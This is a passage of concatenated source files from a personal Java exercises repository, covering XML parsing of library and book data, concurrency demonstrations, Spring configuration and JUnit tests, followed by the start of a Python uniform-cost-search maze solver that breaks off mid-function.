super.whenOneLibraryThreeBooksSevenAuthorsThenParseFileAndReturnResult();
}
@Override
protected LibraryReader getLibraryReader() {
return new DOMLibraryReader();
}
}
<file_sep>package com.kluszynski.concurrency.thread.collection;
import org.junit.Test;
import java.util.Collections;
import java.util.List;
import java.util.concurrent.CopyOnWriteArrayList;
public class CopyOnWriteArrayListTest extends ListTest {
@Test
public void testAddingToSynchronizedList() {
testAddingToList(createEmptyList());
}
@Test
public void testUnsafeIterationsOnlyOnSynchronizedList() {
testUnsafeIterationsOnList(createFilledList());
}
@Test
public void testUnsafeIterationsWithAddingOnSynchronizedList() {
testUnsafeIterationsWithAddingOnList(createFilledList(), false);
}
@Test
public void testSafeIterationsOnlyOnSynchronizedList() {
testSafeIterationsOnList(createFilledList());
}
@Test
public void testSafeIterationsWithAddingOnSynchronizedList() {
testSafeIterationsWithAddingOnList(createFilledList());
}
protected List<Long> createEmptyList() {
return new CopyOnWriteArrayList<Long>();
}
}
<file_sep>package com.kluszynski.jaxp.constant;
import org.junit.Test;
public class BookXPathsTest {
@Test
public void coverageForBookXPathsClass() {
new BookXPaths();
}
}
<file_sep>package com.kluszynski.proxy;
import com.google.common.collect.ImmutableList;
import java.util.List;
class NaturalNumberRepository implements NumberRepository {
@Override
public List<Long> getNumbers() {
return ImmutableList.of(1L, 2L, 3L, 4L, 5L);
}
}
<file_sep>package com.kluszynski.lambda;
import org.junit.Test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class LambdaTest extends AbstractPerformanceTest {
private static final Logger LOGGER = LoggerFactory.getLogger(LambdaTest.class);
// https://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html
@Test
public void givenAllPersonsThenCountOlderThan30Years() throws Exception {
testPerformance(() ->
getPersonRepository().getAllPersons().stream().filter(person -> person.getAge() > 30).count()
);
}
@Override
protected Logger getLogger() {
return LOGGER;
}
}
<file_sep>package com.kluszynski.concurrency.thread.interference;
import com.kluszynski.concurrency.ConcurrencyUtils;
import com.kluszynski.concurrency.thread.IterableTaskConfiguration;
import org.junit.Test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class ThreadInterferenceTest {
private static final Logger LOGGER = LoggerFactory.getLogger(ThreadInterferenceTest.class);
@Test
public void interferenceNoSynchronization() throws Exception {
testInterference(new UnsynchronizedCounter());
}
@Test
public void interferenceWithSynchronization() throws Exception {
testInterference(new SynchronizedCounter());
}
@Test
public void interferenceWithAtomicInteger() throws Exception {
testInterference(new AtomicIntegerCounter());
}
private void testInterference(Counter counter) {
IterableTaskConfiguration iterableTaskConfiguration =
new IterableTaskConfiguration.IterableTaskConfigurationBuilder().measureTime(true).build();
ThreadInterference threadInterference = new ThreadInterference(counter, iterableTaskConfiguration);
threadInterference.showInterference();
// without that sleep the test kills the thread before thread ends
new ConcurrencyUtils().sleepForTwiceDefaultTime();
LOGGER.debug(counter.toString());
}
}
<file_sep>package com.kluszynski.jaxp.domain;
import com.kluszynski.jaxp.constant.AuthorTags;
import org.junit.Assert;
import org.junit.Test;
import java.math.BigDecimal;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
public class BookBuilderTest {
@Test
public void whenValidArgumentsThenBuildNewBook() throws Exception {
String title = "name";
List<Author> authors = new ArrayList<Author>();
authors.add(new Author("name" , "surname", "country", new Date()));
String currency = "surname";
String price = "1.00";
Book.Builder bookBuilder = new Book.Builder();
bookBuilder.title(title);
bookBuilder.authors(authors);
bookBuilder.currency(currency);
bookBuilder.price(price);
Book book = bookBuilder.build();
Assert.assertEquals(title, book.getTitle());
Assert.assertEquals(authors, book.getAuthors());
Assert.assertEquals(currency, book.getCurrency());
Assert.assertEquals(new BigDecimal(price), book.getPrice());
}
}
<file_sep>package com.kluszynski.jaxp;
import com.kluszynski.file.TempFileService;
import com.kluszynski.file.exception.CanNotCreateTempFileException;
import com.kluszynski.jaxp.constant.Xsd;
import com.kluszynski.jaxp.domain.Library;
import com.kluszynski.jaxp.exception.LibraryParsingException;
import com.kluszynski.jaxp.exception.NullInputStreamException;
import java.io.File;
import java.io.InputStream;
import java.util.List;
public abstract class AbstractLibraryReader implements LibraryReader {
protected static final String JAXP_SCHEMA_LANGUAGE = "http://java.sun.com/xml/jaxp/properties/schemaLanguage";
protected static final String W3C_XML_SCHEMA = "http://www.w3.org/2001/XMLSchema";
protected static final String JAXP_SCHEMA_SOURCE = "http://java.sun.com/xml/jaxp/properties/schemaSource";
protected static final String HTTP_APACHE_ORG_XML_PROPERTIES_LOCALE = "http://apache.org/xml/properties/locale";
private TempFileService tempFileService = new TempFileService();
@Override
public List<Library> readLibraries(InputStream inputStream) throws LibraryParsingException {
throwExceptionIfNullInputStream(inputStream);
return readLibrariesFromNotNullInputStream(inputStream);
}
public abstract List<Library> readLibrariesFromNotNullInputStream(InputStream inputStream) throws LibraryParsingException;
protected File createTempFileWithLibrariesXsd() throws CanNotCreateTempFileException {
return tempFileService.createTempFileFromResource(this.getClass().getName(), Xsd.XSD_PATH);
}
private void throwExceptionIfNullInputStream(InputStream inputStream) throws LibraryParsingException {
if (inputStream == null) {
throw new NullInputStreamException();
}
}
}
<file_sep>package com.kluszynski.concurrency.thread.interference;
import com.kluszynski.concurrency.thread.IterableTask;
import com.kluszynski.concurrency.thread.IterableTaskConfiguration;
import org.slf4j.Logger;
abstract class CounterTask extends IterableTask {
protected Counter counter;
CounterTask(Counter counter, IterableTaskConfiguration iterableTaskConfiguration) {
super(iterableTaskConfiguration);
this.counter = counter;
}
@Override
public void logResult(Logger logger) {
}
public abstract void action();
public abstract Logger getLogger();
}
<file_sep>package com.kluszynski.concurrency.thread;
import org.junit.Test;
public class DaemonRunnableThreadTest {
@Test
public void fireRunneableAsDeamonTrue() throws Exception {
DaemonRunnableThread daemonRunnableThread = new DaemonRunnableThread(true);
daemonRunnableThread.fireRunnable();
daemonRunnableThread.getThread().join();
}
@Test
public void fireRunneableAsDeamonFalse() throws Exception {
DaemonRunnableThread daemonRunnableThread = new DaemonRunnableThread(false);
daemonRunnableThread.fireRunnable();
daemonRunnableThread.getThread().join();
}
}
<file_sep># sandbox
Repository for java programming exercises.
[](https://travis-ci.org/krzysztofLuszynski/sandbox)
<file_sep>package com.kluszynski.jaxp.sax;
import com.kluszynski.jaxp.LibrariesErrorHandler;
import com.kluszynski.jaxp.LibraryReader;
import com.kluszynski.jaxp.LibraryReaderAbstractTest;
import com.kluszynski.jaxp.exception.LibraryParsingException;
import org.junit.Test;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;
public class SAXLibraryReaderTest extends LibraryReaderAbstractTest {
@Test
public void testParserConfigurationExceptionCreateXmlReader() {
ParserConfigurationException parserConfigurationException = new ParserConfigurationException();
LibraryReader libraryReader = new SAXLibraryReader() {
protected XMLReader createXmlReader(LibrariesContentHandler librariesContentHandler,
LibrariesErrorHandler librariesErrorHandler) throws ParserConfigurationException, SAXException {
throw parserConfigurationException;
}
};
testLibraryReaderImplException(libraryReader, "com/kluszynski/jaxp/twoLibrariesThreeBooksSevenAuthors.xml",
new LibraryParsingException(parserConfigurationException));
}
@Test
public void testSAXExceptionCreateXmlReader() {
SAXException saxException = new SAXException();
LibraryReader libraryReader = new SAXLibraryReader() {
protected XMLReader createXmlReader(LibrariesContentHandler librariesContentHandler,
LibrariesErrorHandler librariesErrorHandler) throws ParserConfigurationException, SAXException {
throw saxException;
}
};
testLibraryReaderImplException(libraryReader, "com/kluszynski/jaxp/twoLibrariesThreeBooksSevenAuthors.xml",
new LibraryParsingException(saxException));
}
@Test
public void testIOExceptionParse() {
IOException ioException = new IOException();
LibraryReader libraryReader = new SAXLibraryReader() {
protected void parse(XMLReader xmlReader, InputSource inputSource) throws IOException, SAXException {
throw ioException;
}
};
testLibraryReaderImplException(libraryReader, "com/kluszynski/jaxp/twoLibrariesThreeBooksSevenAuthors.xml",
new LibraryParsingException(ioException));
}
@Test
public void testSAXExceptionParse() {
SAXException saxException = new SAXException();
LibraryReader libraryReader = new SAXLibraryReader() {
protected void parse(XMLReader xmlReader, InputSource inputSource) throws IOException, SAXException {
throw saxException;
}
};
testLibraryReaderImplException(libraryReader, "com/kluszynski/jaxp/twoLibrariesThreeBooksSevenAuthors.xml",
new LibraryParsingException(saxException));
}
@Test
@Override
public void whenNotExisitingFileThenThrowNullInputStreamException() {
super.whenNotExisitingFileThenThrowNullInputStreamException();
}
@Test
@Override
public void whenInvalidBirthDateFormatThenThrowXsdValidationException() {
super.whenInvalidBirthDateFormatThenThrowXsdValidationException();
}
@Test
@Override
public void whenXmlTagNotDefinedInXsdThenThrowXsdValidationException() {
super.whenXmlTagNotDefinedInXsdThenThrowXsdValidationException();
}
@Test
@Override
public void whenOneLibraryOneBookOneAuthorThenParseFileAndReturnResult() {
super.whenOneLibraryOneBookOneAuthorThenParseFileAndReturnResult();
}
@Test
@Override
public void whenOneLibraryTwoBooksSixAuthorsThenParseFileAndReturnResult() {
super.whenOneLibraryTwoBooksSixAuthorsThenParseFileAndReturnResult();
}
@Test
@Override
public void whenOneLibraryThreeBooksSevenAuthorsThenParseFileAndReturnResult() {
super.whenOneLibraryThreeBooksSevenAuthorsThenParseFileAndReturnResult();
}
@Override
protected LibraryReader getLibraryReader() {
return new SAXLibraryReader();
}
}
<file_sep>package com.kluszynski.jaxp;
import com.kluszynski.jaxp.exception.XsdValidationException;
import org.junit.Assert;
import org.junit.Test;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXParseException;
import org.xml.sax.helpers.LocatorImpl;
public class LibrariesErrorHandlerTest {
private ErrorHandler errorHandler = new LibrariesErrorHandler();
private SAXParseException saxParseException = new SAXParseException("testException", new LocatorImpl());
@Test
public void whenWarningThenDebugWarning() throws Exception {
errorHandler.warning(saxParseException);
}
@Test
public void whenErrorThenThrowXsdValidationException() throws Exception {
try {
errorHandler.error(saxParseException);
} catch (XsdValidationException exception) {
Assert.assertEquals(saxParseException.getMessage(), exception.getMessage());
}
}
@Test
public void whenFatalErrorThenThrowXsdValidationException() throws Exception {
try {
errorHandler.fatalError(saxParseException);
} catch (XsdValidationException exception) {
Assert.assertEquals(saxParseException.getMessage(), exception.getMessage());
}
}
}
<file_sep>package com.kluszynski.jaxp.domain;
import org.apache.commons.lang3.builder.EqualsBuilder;
import org.apache.commons.lang3.builder.HashCodeBuilder;
import org.apache.commons.lang3.builder.ToStringBuilder;
import java.util.ArrayList;
import java.util.List;
public final class Library {
private String country;
private String town;
private String street;
private String houseNumber;
private String flatNumber;
private String zipCode;
private List<Book> books;
public Library(String country, String town, String street, String houseNumber, String flatNumber, String zipCode,
List<Book> books) {
this.country = country;
this.town = town;
this.street = street;
this.houseNumber = houseNumber;
this.flatNumber = flatNumber;
this.zipCode = zipCode;
this.books = books;
}
public String getCountry() {
return country;
}
public String getTown() {
return town;
}
public String getStreet() {
return street;
}
public String getHouseNumber() {
return houseNumber;
}
public String getFlatNumber() {
return flatNumber;
}
public String getZipCode() {
return zipCode;
}
public List<Book> getBooks() {
return books;
}
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
Library library = (Library) o;
return new EqualsBuilder()
.append(getCountry(), library.getCountry())
.append(getTown(), library.getTown())
.append(getStreet(), library.getStreet())
.append(getHouseNumber(), library.getHouseNumber())
.append(getFlatNumber(), library.getFlatNumber())
.append(getZipCode(), library.getZipCode())
.append(getBooks(), library.getBooks())
.isEquals();
}
@Override
public int hashCode() {
return new HashCodeBuilder()
.append(getCountry())
.append(getTown())
.append(getStreet())
.append(getHouseNumber())
.append(getFlatNumber())
.append(getZipCode())
.append(getBooks())
.toHashCode();
}
@Override
public String toString() {
return new ToStringBuilder(this)
.append("country", getCountry())
.append("town", getTown())
.append("street", getStreet())
.append("houseNumber", getHouseNumber())
.append("flatNumber", getFlatNumber())
.append("zipCode", getZipCode())
.append("books", getBooks())
.toString();
}
public static class Builder {
private String country;
private String town;
private String street;
private String houseNumber;
private String flatNumber;
private String zipCode;
private List<Book> books;
public Builder country(String country) {
this.country = country;
return this;
}
public Builder town(String town) {
this.town = town;
return this;
}
public Builder street(String street) {
this.street = street;
return this;
}
public Builder houseNumber(String houseNumber) {
this.houseNumber = houseNumber;
return this;
}
public Builder flatNumber(String flatNumber) {
this.flatNumber = flatNumber;
return this;
}
public Builder zipCode(String zipCode) {
this.zipCode = zipCode;
return this;
}
public Builder books(List<Book> books) {
this.books = books;
return this;
}
public Builder addBook(Book book) {
if (this.books == null) {
this.books = new ArrayList<>();
}
this.books.add(book);
return this;
}
public Library build() {
return new Library(country, town, street, houseNumber, flatNumber, zipCode, books);
}
}
}
<file_sep>package com.kluszynski.concurrency.thread.producerconsumer;
import com.google.common.collect.ImmutableList;
import com.kluszynski.concurrency.thread.IterableTaskConfiguration;
import com.kluszynski.concurrency.thread.IterableTaskTest;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.ArrayList;
import java.util.List;
abstract class BufferTest extends IterableTaskTest {
private static final Logger LOGGER = LoggerFactory.getLogger(BufferTest.class);
protected static final int DEFAULT_BUFFER_SIZE = 10;
void testNoThreads(Buffer<Long> buffer) {
buffer.add(1L);
buffer.add(2L);
buffer.add(3L);
LOGGER.debug("after put 3 elements : " + buffer.getAllElements());
buffer.remove();
buffer.remove();
buffer.remove();
LOGGER.debug("after removing 3 elements : " + buffer.getAllElements());
}
void testConsumerOnEmptyBufferAndThenStartOneProducer(AbstractArrayBuffer<Long> buffer) throws Exception {
IterableTaskConfiguration consumerTaskConfiguration =
new IterableTaskConfiguration.IterableTaskConfigurationBuilder()
.iterations(buffer.getMaximumSize()).build();
IterableTaskConfiguration producerTaskConfiguration =
new IterableTaskConfiguration.IterableTaskConfigurationBuilder()
.iterations(buffer.getMaximumSize()).build();
ConsumerTask consumerTask = new ConsumerTask(buffer, consumerTaskConfiguration);
ProducerTask producerTask = new ProducerTask(buffer, producerTaskConfiguration, 0);
Thread consumerThread = new Thread(consumerTask);
consumerThread.start();
concurrencyUtils.sleepForDefaultTime();
Thread producerThread = new Thread(producerTask);
producerThread.start();
consumerThread.join();
producerThread.join();
debugStateOfBuffer(buffer);
debugResultsOfAllIterableTasks(ImmutableList.of(producerTask, consumerTask));
}
void testProducerOnFullBufferThenStartOneConsumer(AbstractArrayBuffer<Long> buffer) throws Exception {
IterableTaskConfiguration consumerTaskConfiguration =
new IterableTaskConfiguration.IterableTaskConfigurationBuilder()
.iterations(buffer.getMaximumSize()).build();
IterableTaskConfiguration producerTaskConfiguration =
new IterableTaskConfiguration.IterableTaskConfigurationBuilder()
.iterations(buffer.getMaximumSize()).build();
for(long i = 0; i < buffer.getMaximumSize(); i++) {
buffer.add(i);
}
debugStateOfBuffer(buffer);
ConsumerTask consumerTask = new ConsumerTask(buffer, consumerTaskConfiguration);
ProducerTask producerTask = new ProducerTask(buffer, producerTaskConfiguration, buffer.getMaximumSize());
Thread producerThread = new Thread(producerTask);
producerThread.start();
concurrencyUtils.sleepForDefaultTime();
Thread consumerThread = new Thread(consumerTask);
consumerThread.start();
consumerThread.join();
producerThread.join();
debugStateOfBuffer(buffer);
debugResultsOfAllIterableTasks(ImmutableList.of(producerTask, consumerTask));
}
void testFourProducersOneConsumers(AbstractArrayBuffer<Long> buffer) {
IterableTaskConfiguration producerTaskConfiguration =
new IterableTaskConfiguration.IterableTaskConfigurationBuilder()
.iterations(buffer.getMaximumSize())
.measureTime(true).build();
IterableTaskConfiguration consumerTaskConfiguration =
new IterableTaskConfiguration.IterableTaskConfigurationBuilder()
.iterations(buffer.getMaximumSize()*4)
.measureTime(true).build();
testProducersAndConsumers(buffer, producerTaskConfiguration, consumerTaskConfiguration, 4, 1);
}
private void testProducersAndConsumers(Buffer<Long> buffer, IterableTaskConfiguration producerTaskConfiguration,
IterableTaskConfiguration consumerTaskConfiguration, int producersNumber, int consumersNumber) {
List<BufferTask> bufferTasks = new ArrayList<>();
bufferTasks.addAll(createProducers(buffer, producerTaskConfiguration, producersNumber));
bufferTasks.addAll(createConsumers(buffer, consumerTaskConfiguration, consumersNumber));
startAllIterableTasks(bufferTasks);
concurrencyUtils.sleepForTwiceDefaultTime();
debugStateOfBuffer(buffer);
debugResultsOfAllIterableTasks(bufferTasks);
}
protected void debugStateOfBuffer(Buffer buffer) {
LOGGER.debug("buffer size " + buffer.getAllElements().size());
LOGGER.debug("buffer content " + buffer.getAllElements());
}
private List<ConsumerTask> createConsumers(Buffer<Long> buffer,
IterableTaskConfiguration consumerTaskConfiguration, int consumersNumber) {
List<ConsumerTask> consumerTasks = new ArrayList<>();
for(int i = 0; i < consumersNumber; i++) {
ConsumerTask consumerTask = new ConsumerTask(buffer, consumerTaskConfiguration);
consumerTasks.add(consumerTask);
}
return consumerTasks;
}
private List<ProducerTask> createProducers(Buffer<Long> buffer, IterableTaskConfiguration producerTaskConfiguration,
int producersNumber) {
List<ProducerTask> producerTasks = new ArrayList<>();
for(int i = 0; i < producersNumber; i++) {
ProducerTask producerTask = new ProducerTask(buffer, producerTaskConfiguration, i*1000);
producerTasks.add(producerTask);
}
return producerTasks;
}
}
<file_sep>package com.kluszynski.jaxp;
import com.kluszynski.jaxp.exception.XsdValidationException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.slf4j.Marker;
import org.slf4j.MarkerFactory;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.SAXParseException;
public class LibrariesErrorHandler implements ErrorHandler {
private static final Logger LOGGER = LoggerFactory.getLogger(LibrariesErrorHandler.class);
private static final Marker FATAL = MarkerFactory.getMarker("FATAL");
@Override
public void warning(SAXParseException exception) throws SAXException {
LOGGER.info("Warning " + exception);
}
@Override
public void error(SAXParseException exception) throws SAXException {
LOGGER.error("Error " + exception);
throw new XsdValidationException(exception.getLocalizedMessage(), exception);
}
@Override
public void fatalError(SAXParseException exception) throws SAXException {
LOGGER.error(FATAL, "Fatal " + exception);
throw new XsdValidationException(exception.getLocalizedMessage(), exception);
}
}
<file_sep>package com.kluszynski.jaxp.constant;
import org.junit.Test;
public class AuthorXPathsTest {
@Test
public void coverageForAuthorXPathsClass() {
new AuthorXPaths();
}
}
<file_sep>package com.kluszynski.concurrency.thread;
import com.kluszynski.concurrency.ConcurrencyUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
class InterruptedThread {
private static final Logger LOGGER = LoggerFactory.getLogger(InterruptedThread.class);
private ConcurrencyUtils concurrencyUtils = new ConcurrencyUtils();
void doNotInterruptSleepingThread() throws Exception {
Thread thread = createSleepingThread();
thread.start();
thread.join();
}
void interruptSleepingThread() throws Exception {
Thread thread = createSleepingThread();
thread.start();
thread.interrupt();
thread.join();
}
private Thread createSleepingThread() {
Runnable task = () -> {
LOGGER.debug("started");
try {
concurrencyUtils.sleepForThreeSeconds();
} catch (InterruptedException exception) {
LOGGER.debug("was interrupted " + exception);
}
LOGGER.debug("ended");
};
return (new Thread(task));
}
void interruptCurrentThread() throws Exception {
Runnable task = () -> {
LOGGER.debug("started");
concurrencyUtils.sleepForDefaultTime();
LOGGER.debug("ended");
};
Thread thread = (new Thread(task));
thread.start();
thread.interrupt();
thread.join();
}
void interruptLongOperation() throws Exception {
Thread thread = createLongIterationThread();
thread.start();
concurrencyUtils.sleepForDefaultTime();
thread.interrupt();
thread.join();
}
void doLongIteration() throws Exception {
Thread thread = createLongIterationThread();
thread.start();
thread.join();
}
private Thread createLongIterationThread() {
Runnable task = () -> {
LOGGER.debug("started");
concurrencyUtils.doLongOperation();
LOGGER.debug("ended");
};
return (new Thread(task));
}
}
<file_sep>package com.kluszynski.concurrency.thread.interference;
import org.apache.commons.lang3.builder.ToStringBuilder;
class SynchronizedCounter extends AbstractCounter {
private int counter;
SynchronizedCounter() {
this(DEFAULT_COUNTER_VALUE);
}
private SynchronizedCounter(int counter) {
this.counter = counter;
}
@Override
public synchronized void increment() {
counter++;
}
@Override
public synchronized void decrement() {
counter--;
}
@Override
public synchronized String toString() {
return new ToStringBuilder(this).append("counter", counter).toString();
}
}
<file_sep>package com.kluszynski.concurrency.thread.collection;
import com.kluszynski.concurrency.thread.IterableTaskConfiguration;
import org.junit.Test;
import java.util.List;
public class ListIterationSynchronizedTest extends ListIterationTaskTest {
@Test
public void givenLogActionsTrueMeasureTimeTrueWhenIteratingOverListByOneThreadThenListIsNotChanged() {
IterableTaskConfiguration iterableTaskConfiguration =
new IterableTaskConfiguration.IterableTaskConfigurationBuilder()
.iterations(ITERATIONS_SIZE).logActions(true).measureTime(true).build();
testIteratingOverListByOneThread(iterableTaskConfiguration);
}
@Test
public void givenLogActionsFalseMeasureTimeFalseWhenIteratingOverListByOneThreadThenListIsNotChanged() {
IterableTaskConfiguration iterableTaskConfiguration =
new IterableTaskConfiguration.IterableTaskConfigurationBuilder()
.iterations(ITERATIONS_SIZE).logActions(false).measureTime(false).build();
testIteratingOverListByOneThread(iterableTaskConfiguration);
}
@Test
public void givenLogActionsFalseMeasureTimeFalseWhenExceptionThenSynchronizedIsCovered() {
IterableTaskConfiguration iterableTaskConfiguration =
new IterableTaskConfiguration.IterableTaskConfigurationBuilder()
.iterations(ITERATIONS_SIZE).logActions(false).measureTime(false).build();
ListIterationTask listIterationTask = new ListIterationSynchronizedTask(iterableTaskConfiguration, LIST) {
@Override
void copySnapshotList(List<Long> snapshotList) {
throw new RuntimeException();
}
};
testIteratingOverListByOneThread(listIterationTask);
}
@Override
protected void testIteratingOverListByOneThread(IterableTaskConfiguration iterableTaskConfiguration) {
ListIterationTask listIterationTask = new ListIterationSynchronizedTask(iterableTaskConfiguration, LIST);
testIteratingOverListByOneThread(listIterationTask);
}
}
<file_sep>package com.kluszynski.springframework.javaconfig;
import com.kluszynski.springframework.javaconfig.domain.Troop;
import org.junit.Assert;
import org.junit.Test;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class TroopConfigTest {
@Test
public void whenTroopConfigUsedThenTroopsHasSequenceNumbersInIds() {
ApplicationContext applicationContext = new AnnotationConfigApplicationContext(TroopConfig.class);
Assert.assertEquals(1, applicationContext.getBean(Troop.class).getId());
Assert.assertEquals(2, applicationContext.getBean(Troop.class).getId());
}
}
<file_sep>package com.kluszynski.concurrency.thread.producerconsumer;
import com.kluszynski.concurrency.thread.IterableTask;
import com.kluszynski.concurrency.thread.IterableTaskConfiguration;
import org.slf4j.Logger;
import java.util.ArrayList;
import java.util.List;
abstract class BufferTask extends IterableTask {
private Buffer<Long> buffer;
private List<Long> processedElements = new ArrayList<>();
BufferTask(Buffer<Long> buffer, IterableTaskConfiguration iterableTaskConfiguration) {
super(iterableTaskConfiguration);
this.buffer = buffer;
}
@Override
public void logResult(Logger logger) {
logger.debug("processed elements size " + processedElements.size());
logger.debug("processed elements content " + processedElements);
}
Buffer<Long> getBuffer() {
return buffer;
}
List<Long> getProcessedElements() {
return processedElements;
}
}
<file_sep>package com.kluszynski.springframework.javaconfig.domain;
import org.apache.commons.lang3.builder.ToStringBuilder;
import java.util.List;
public class Army {
private List<Troop> troops;
public Army(List<Troop> troops) {
this.troops = troops;
}
public List<Troop> getTroops() {
return troops;
}
@Override
public String toString() {
return new ToStringBuilder(this).append("troops", troops).toString();
}
}
<file_sep>package com.kluszynski.jaxp.domain;
import nl.jqno.equalsverifier.EqualsVerifier;
import nl.jqno.equalsverifier.Warning;
import org.junit.Test;
public class BookTest {
@Test
public void givenBookClassThenEqualsIsImplementedCorrectly() {
EqualsVerifier.forClass(Book.class)
.suppress(Warning.NONFINAL_FIELDS)
.verify();
}
}
<file_sep>package com.kluszynski.jaxp.constant;
import org.junit.Test;
public class AuthorTagsTest {
@Test
public void coverageForAuthorTagsClass() {
new AuthorTags();
}
}
<file_sep>package com.kluszynski.concurrency.thread.producerconsumer;
import java.util.Arrays;
import java.util.List;
abstract class AbstractArrayBuffer<E> implements Buffer<E> {
private static final int DEFAULT_MAXIMUM_SIZE = 40;
private Object[] buffer;
private int maximumSize;
private int size;
AbstractArrayBuffer() {
this(DEFAULT_MAXIMUM_SIZE);
}
AbstractArrayBuffer(int maximumSize) {
this.maximumSize = maximumSize;
buffer = new Object[maximumSize];
size = 0;
}
@Override
public void add(E element) {
buffer[size] = element;
size++;
}
@Override
public E remove() {
@SuppressWarnings("unchecked")
E result = (E) buffer[size-1];
buffer[size-1] = null;
size--;
return result;
}
@Override
public List<E> getAllElements() {
@SuppressWarnings("unchecked")
List<E> result = (List<E>) Arrays.asList(buffer);
return result;
}
@Override
public int getMaximumSize() {
return maximumSize;
}
@Override
public int getSize() {
return size;
}
}
| 6a44dd57bed568d09ed986eac6f1c8a8c168a1ac | [
"Markdown",
"Java",
"Gradle"
] | 55 | Java | krzysztofLuszynski/sandbox | a2e4fdff956613ef190860cb28dc40209b34e839 | 83066e0ed5bc61fca589e7445ae9752a0fa23c8c |
refs/heads/master | <file_sep>"""
Start uniform cost search from root node where is (0, 0), the goal is (width - 1, height - 1)
Priority search by using heap queue
Priority is decided by cost, which has only backward cost
Cost = backward cost
Backward cost is the number of step
Backward cost is updated if smaller backward cost is found
Each node has their location(y, x), costs, and parent node.
By following parent node, you can get optimal solution.
"""
import heapq
class Node(object):
def __init__(self, y, x, back_cost, parent):
"""
Initialize node
:param y: <int>, y coordinates
:param x: <int>, x coordinates
:param back_cost: <int>, backward cost
:param parent: <Node>, parent node
"""
self.y = y
self.x = x
self.back_cost = back_cost
self.cost = back_cost
self.parent = parent
def __lt__(self, other_node):
"""
Override function for priority comparison
:param other_node: <Node>
:return: <bool>
"""
return self.cost < other_node.cost
def __eq__(self, other_node):
"""
Override function for priority comparison
:param other_node: <Node>
:return: <bool>
"""
return self.cost == other_node.cost
class UCS(object):
def __init__(self, cells, y_start, x_start, y_end, x_end):
"""
:param cells: <list>, 0 is road, and 1 is wall in list
:param y_start: <int>, 0 in this homework
:param x_start: <int>, 0 in this homework
:param y_end: <int>, height - 1 in this homework
:param x_end: <int>, width - 1 in this homework
"""
self.LEFT = 0
self.RIGHT = 1
self.UP = 2
self.DOWN = 3
self.WALL = 1
self.cells = cells
self.y_start = y_start
self.x_start = x_start
self.y_end = y_end
self.x_end = x_end
self.y = y_start
self.x = x_start
width = len(cells[0])
height = len(cells)
self.queue_cells = [[False for x in range(width)] for y in range(height)]
self.visit_cells = [[False for x in range(width)] for y in range(height)]
self.nodes = [[Node(y, x, 0, None) for x in range(width)]
for y in range(height)]
self.queued = []
self.explored = []
def search_answer(self):
"""
Search answer from starting point (0, 0)
:return: <None>, print the explored node, and optimal path
"""
# Start from starting point (0, 0)
start_back_cost = 0
root_node = Node(self.y_start, self.x_start, start_back_cost, None)
heapq.heappush(self.queued, (root_node.cost, root_node))
# Search answer until queue is empty or answer is found
while len(self.queued) > 0:
current_node = self.dequeue()
# End search when the goal is found
if self.is_arrived(current_node):
# Print optimal paths
path_node = current_node
paths = []
while path_node.parent is not None:
paths.insert(0, (path_node.y, path_node.x))
path_node = path_node.parent
paths.insert(0, (path_node.y, path_node.x))
for path in paths:
print(path, end='')
print()
print()
return self.explored, paths
# Search adjacent nodes
self.search_adjacent_nodes(current_node)
def search_adjacent_nodes(self, current_node):
"""
Search adjacent nodes and queue if they are reachable
:param current_node: <Node>
:return: <None>, queue the adjacent nodes
"""
if self.is_reachable(current_node, self.LEFT):
self.enqueue(current_node, self.LEFT)
if self.is_reachable(current_node, self.RIGHT):
self.enqueue(current_node, self.RIGHT)
if self.is_reachable(current_node, self.UP):
self.enqueue(current_node, self.UP)
if self.is_reachable(current_node, self.DOWN):
self.enqueue(current_node, self.DOWN)
def dequeue(self) -> Node:
"""
Explore the node based on their priority
Cost is Manhattan distance
Tie index is Euclidean distance, which is used for the case the cost is same
Node is explored node
Change the boolean table visit cells where the node visited
:return: <Node>, explored Node
"""
current_cost, current_node = heapq.heappop(self.queued)
self.visit_cells[current_node.y][current_node.x] = True
self.explored.append(str(current_node.y) + " " + str(current_node.x))
print(str(current_node.y) + " " + str(current_node.x))
self.y = current_node.y
self.x = current_node.x
return current_node
def enqueue(self, node, direction):
"""
Calculate cost, and add or update the node
Change the boolean table queue cells where the node queued
:param node: <Node>, current node, next node is combined with current node and direction
:param direction: <int>, LEFT = 0, RIGHT = 1, TOP = 2, BOTTOM = 3
:return: <None>
"""
y = node.y
x = node.x
if direction == self.LEFT:
x = x - 1
elif direction == self.RIGHT:
x = x + 1
elif direction == self.UP:
y = y - 1
elif direction == self.DOWN:
y = y + 1
old_back_cost = self.nodes[y][x].back_cost
back_cost = self.get_backward_cost(node)
# Update cost by removing old cost node from queue if new explored cost is smaller than old cost
if (self.is_queued(y, x) or self.is_visited(y, x)) and back_cost < old_back_cost:
prev_el_set = (self.nodes[y][x].cost, self.nodes[y][x])
if self.queued.count(prev_el_set) > 0:
self.queued.remove(prev_el_set)
# Add new node to queue
self.nodes[y][x] = Node(y, x, back_cost, node)
heapq.heappush(self.queued, (self.nodes[y][x].cost, self.nodes[y][x]))
self.queue_cells[y][x] = True
def get_backward_cost(self, node):
"""
Get backward cost by using the number of search
:param node: <Node>, current node
:return: <int>, current backward cost + 1
"""
return node.back_cost + 1
def is_reachable(self, node, direction):
"""
Check out of index error, and the cell is not wall
If the cell is not in queue and not visited, then return true
If the cell is in queue or visited, return true when the new cost is smaller than previous cost
:param node: <Node>, current node
:param direction: <int>, LEFT = 0, RIGHT = 1, TOP = 2, BOTTOM = 3
:return: <bool>, True if the next node is reachable
"""
y = node.y
x = node.x
width = len(self.cells[0])
height = len(self.cells)
if direction == self.LEFT:
